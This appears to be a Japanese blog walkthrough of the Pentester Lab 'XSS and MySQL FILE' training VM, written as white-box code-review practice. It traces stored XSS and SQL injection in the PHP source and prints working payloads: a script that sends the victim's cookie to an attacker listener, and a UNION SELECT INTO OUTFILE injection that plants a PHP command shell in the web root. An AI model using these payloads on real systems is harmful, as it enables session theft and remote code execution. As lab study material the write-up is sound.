#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。
このブログを参考にしています。こっちの方が分かりやすいかもしれません。
AWAE/OSWE PREP (Code analysis to gaining rce and automating everything with Python)
#PENTESTER LAB: XSS AND MYSQL FILE
- サーバー名: Pentester Lab: XSS and MySQL FILE
- リリース日: 2014年1月29日
- 作者: Pentester Lab
- シリーズ: Pentester Lab
攻略プロセスは、以下のとおりです。
- XSSで脆弱な機能を見つける。
- クッキーを奪う
- SQLインジェクション
- バックドアのアップロード
- RCE
#Index.php
ソースコードを調べていきます。
Index.phpではall()
関数がPost
クラスから呼び出されています。
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$posts = Post::all();
?>
<div class="block" id="block-text">
<div class="secondary-navigation">
<div class="content">
<?php
foreach ($posts as $post) {
echo $post->render();
} ?>
</div>
</div>
</div>
<?php
require "footer.php";
?>
grep
コマンドでクラスの場所を調べます。
root@debian:/var/www# grep -iRn "Class Post" --color .
./classes/post.php:3:class Post{
root@debian:/var/www#
-i 大文字と小文字を区別せず検索する
-R ディレクトリ内も検索対象とする
-n 検索結果に行番号を表示する
#Post.php
all()
関数を調べていきます。
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$post = Post::find(intval($_GET['id']));
?>
<div class="block" id="block-text">
<div class="secondary-navigation">
<div class="content">
<?php
echo $post->render_with_comments();
?>
</div>
<form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>">
Title: <input type="text" name="title" / ><br/>
Author: <input type="text" name="author" / ><br/>
Text: <textarea name="text" cols="80" rows="5">
</textarea><br/>
<input type="submit" name="submit" / >
</form>
</div>
</div>
<?php
require "footer.php";
?>
$_GET['id']
の要素に intval()
が適用されているため、要素が必ず整数値になります。
<form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>">
実際にWebアプリ上で文字列を挿入するとERROR: INTESER REQUIRED
と表示されます。
コメント送信の機能は、post_comment.php
が処理しているようです。
POST /post_comment.php?id=2 HTTP/1.1
Host: 192.168.191.228
Content-Length: 69
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.191.228
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.191.228/post.php?id=2
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close
title=test&author=test&text=+test&submit=%26%2336865%3B%26%2320449%3B
#post_comment.php
post.php
クラス、add_comment()
関数とfind()
関数が利用されています。
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$post = Post::find(intval($_GET['id']));
if (isset($post)) {
$ret = $post->add_comment();
}
header("Location: post.php?id=".intval($_GET['id']));
die();
?>
find()
関数はid
パラメータを引数として取得し値が存在するかどうかを確認します。
存在する場合、Postクラスのオブジェクトを作成し、コンストラクタに値を渡します。
function find($id) {
$result = mysql_query("SELECT * FROM posts where id=".$id);
$row = mysql_fetch_assoc($result);
if (isset($row)){
$post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
return $post;
}
以下がコンストラクタです。
class Post{
public $id, $title, $text, $published;
function __construct($id, $title, $text, $published){
$this->title= $title;
$this->text = $text;
$this->published= $published;
$this->id = $id;
}
コンストラクタの引数で渡した値はthis()
関数が受け取り、ローカル変数として処理されます。
引数は、以下のコメント送信リクエストで渡される値になります。
title=test&author=text&text=hello+world++++++++&submit=Submit
次はadd_comment()
関数を見てみます。
function add_comment() {
$sql = "INSERT INTO comments (title,author, text, post_id) values ('";
$sql .= mysql_real_escape_string($_POST["title"])."','";
$sql .= mysql_real_escape_string($_POST["author"])."','";
$sql .= mysql_real_escape_string($_POST["text"])."',";
$sql .= intval($this->id).")";
$result = mysql_query($sql);
echo mysql_error();
}
POSTリクエストが受けとった値がそのままデータベースに直接保存されているようです。
mysqlにログインして、実際に保存がされているかどうかを確認します。
sudo su
mysql
use blog;
select * from comments;
アウトプット
mysql> select * from comments;
+----+-------+---------------------+---------+-----------+---------+
| id | title | text | author | published | post_id |
+----+-------+---------------------+---------+-----------+---------+
| 1 | test | hello world | text | NULL | 1 |
+----+-------+---------------------+---------+-----------+---------+
1 row in set (0.00 sec)
試しにjavascriptのペイロード<script>document.cookie</script>
を挿入してみます。
title=test&author=text&text=<script>document.cookie</script>&submit=Submit
Burpを使いました。
アウトプット
mysql> select * from comments;
+----+-------+----------------------------------+---------+-----------+---------+
| id | title | text | author | published | post_id |
+----+-------+----------------------------------+---------+-----------+---------+
| 1 | test | hello world | text | NULL | 1 |
| 2 | test | <script>document.cookie</script> | text | NULL | 1 |
+----+-------+----------------------------------+---------+-----------+---------+
2 rows in set (0.00 sec)
任意のスクリプトををデータベースに保存することができました。
post.phpを再度確認。
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$post = Post::find(intval($_GET['id']));
?>
<div class="block" id="block-text">
<div class="secondary-navigation">
<div class="content">
<?php
echo $post->render_with_comments();
?>
</div>
<form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>">
Title: <input type="text" name="title" / ><br/>
Author: <input type="text" name="author" / ><br/>
Text: <textarea name="text" cols="80" rows="5">
</textarea><br/>
<input type="submit" name="submit" / >
</form>
</div>
</div>
<?php
require "footer.php";
?>
echo $ post-> render_with_comments();
に着目し、render_with_comments()
関数を調べていきます。
render_with_comments()
関数を調べる。
function render_with_comments() {
$str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
$str.= '<div class="inner" style="padding-left: 40px;">';
$str.= "<p>".htmlentities($this->text)."</p></div>";
$str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>";
foreach ($this->get_comments() as $comment) {
$str.= "\n\t<li>".$comment->text."</li>";
}
$str.= "\n</ul></div>";
return $str;
}
以下のとおり、
foreach ($this->get_comments() as $comment) {
$str.= "\n\t<li>".$comment->text."</li>";
}
text
の入力値ががフィルターにかけられずに出力されています。
<script>alert(1);</script>
をtext欄に入れて、格納型XSSを実行できるかを試してみます。
ポップアップを表示できたので、次は以下のペイロードでCookieを取得していきます。
<script>document.write('<img src="http://192.168.79.156:4444/?'+document.cookie+' "/>');</script>
Webサーバーをセットアップし、Cookieを取得します。
┌──(kali㉿kali)-[~]
└─$ python -m SimpleHTTPServer 4444 1 ⨯
Serving HTTP on 0.0.0.0 port 4444 ...
192.168.2.100 - - [04/Apr/2021 00:21:39] "GET /?PHPSESSID=epa4dsfi0jq3j1v1fqpmmgidt4 HTTP/1.1" 200 -
#edit.php
admin
ディレクトリにアクセスできので、中のファイルを調べていきます。
<?php
require("../classes/auth.php");
require("header.php");
require("../classes/db.php");
require("../classes/phpfix.php");
require("../classes/post.php");
$post = Post::find($_GET['id']);
if (isset($_POST['title'])) {
$post->update($_POST['title'], $_POST['text']);
}
?>
<form action="edit.php?id=<?php echo htmlentities($_GET['id']);?>" method="POST" enctype="multipart/form-data">
Title:
<input type="text" name="title" value="<?php echo htmlentities($post->title); ?>" /> <br/>
Text:
<textarea name="text" cols="80" rows="5">
<?php echo htmlentities($post->text); ?>
</textarea><br/>
<input type="submit" name="Update" value="Update">
</form>
<?php
require("footer.php");
find()
関数がclasses/post.php
で使用され、mysqlからデータを取得していることがわかります。
find()
関数を調べます。
funcfunction find($id) {
$result = mysql_query("SELECT * FROM posts where id=".$id);
$row = mysql_fetch_assoc($result);
if (isset($row)){
$post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
return $post;tion find($id) {
$result = mysql_query("SELECT * FROM posts where id=".$id);
$row = mysql_fetch_assoc($result);
if (isset($row)){
$post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
return $post;
ユーザーの入力値id
変数がフィルターなしで直接渡されています。
SQLインジェクションが有効か試してみます。
URL:-http://192.168.191.229/admin/edit.php?id=-1%20union%20select%201,%22we%20got%20it%20boys%22,3,4%23
バックドアをサーバーに保存できるか確認するためwww
ディレクトリに書き込み権限があるか確認します。
root@debian:/var/www# ls -lha
total 20K
drwxr-xr-x 6 www-data www-data 210 Jan 2 2014 .
drwxr-xr-x 19 root root 140 Oct 10 2013 ..
drwxr-xr-x 3 www-data www-data 164 Jan 2 2014 admin
-rw-r--r-- 1 www-data www-data 601 Oct 10 2013 all.php
-rw-r--r-- 1 www-data www-data 510 Oct 10 2013 cat.php
drwxr-xr-x 2 www-data www-data 114 Jan 2 2014 classes
drwxrwxrwx 2 www-data www-data 67 Jan 2 2014 css
-rw-r--r-- 1 www-data www-data 15K Oct 10 2013 favicon.ico
-rw-r--r-- 1 www-data www-data 185 Oct 10 2013 footer.php
-rw-r--r-- 1 www-data www-data 749 Oct 10 2013 header.php
drwxrwxrwx 2 www-data www-data 30 Jan 2 2014 images
-rw-r--r-- 1 www-data www-data 369 Oct 10 2013 index.php
-rw-r--r-- 1 www-data www-data 243 Oct 10 2013 post_comment.php
-rw-r--r-- 1 www-data www-data 722 Oct 10 2013 post.php
root@debian:/var/www#
css
とimages
ディレクトリが書き込み可能でした。
#バックドアのアップロード
まず、css
ディレクトリにファイルを書き込むペイロードを作成します。
union select 1,hello world,3,4 into outfile "/var/www/css/lol.php"%23
アウトプット
root@debian:/var/www/css# ls
base.css default.css style.css
root@debian:/var/www/css# ls
base.css default.css shell.php style.css
root@debian:/var/www/css# cat lol.php
1 hello world 3 4
root@debian:/var/www/css#
1,2,3,4カラムが書き込み可能なので、各コラムにリバースシェルをペイロードに挿入します。
union select "<?php","system($_GET['c']);","?>",";" into outfile "/var/www/css/shell.php"%23
アウトプット
root@debian:/var/www/css# ls
base.css default.css style.css
root@debian:/var/www/css# ls
base.css default.css lol.php style.css
root@debian:/var/www/css# cat lol.php
<?php system($_GET['c']); ?> ;
root@debian:/var/www/css#
コマンドを実行できました。
#最後に
ソースコード検証の勉強になりました。
シェルを取得の自動化スクリプトも作れるようになりたい。